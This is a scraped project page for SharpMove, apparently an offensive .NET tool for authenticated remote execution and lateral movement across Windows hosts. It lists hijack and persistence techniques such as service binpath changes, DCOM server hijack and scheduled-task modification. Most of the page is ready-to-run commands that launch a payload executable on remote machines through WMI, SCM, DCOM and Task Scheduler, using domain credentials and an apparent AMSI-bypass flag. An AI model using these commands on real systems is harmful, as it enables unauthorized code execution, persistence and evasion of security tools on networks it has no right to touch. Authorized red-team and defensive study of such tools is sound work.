Need help with SharpMove?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

203 Stars 43 Forks GNU General Public License v3.0 3 Commits 0 Opened issues


.NET Project for performing Authenticated Remote Execution

Services available


Need anything else?

Contributors list

# 201,688
1 commit

SharpMove - .NET authenticated execution for remote hosts


To compile open Visual Studio project and compile for release.


  • WMI
  • SCM
  • DCOM (Multiple)
  • Task Scheduler
  • Service DLL Hijack
  • DCOM Server Hijack
  • Modify Scheduled Task
  • Modify Service binpath
SharpMove.exe action=query query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs eventname=Debug amsi=true username=domain\\user password=password
SharpMove.exe action=taskscheduler command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
SharpMove.exe action=dcom command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
SharpMove.exe action=scm command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
SharpMove.exe action=modsvc command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=modschtask command="C:\windows\temp\payload.exe" username=domain\user password=password taskname=TestTask
SharpMove.exe action=hijackdcom clsid={40bdc4e5-d532-42e6-b667-1ab890fdebcf}
SharpMove.exe action=startservice servicename=TestService

Part of MoveKit

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.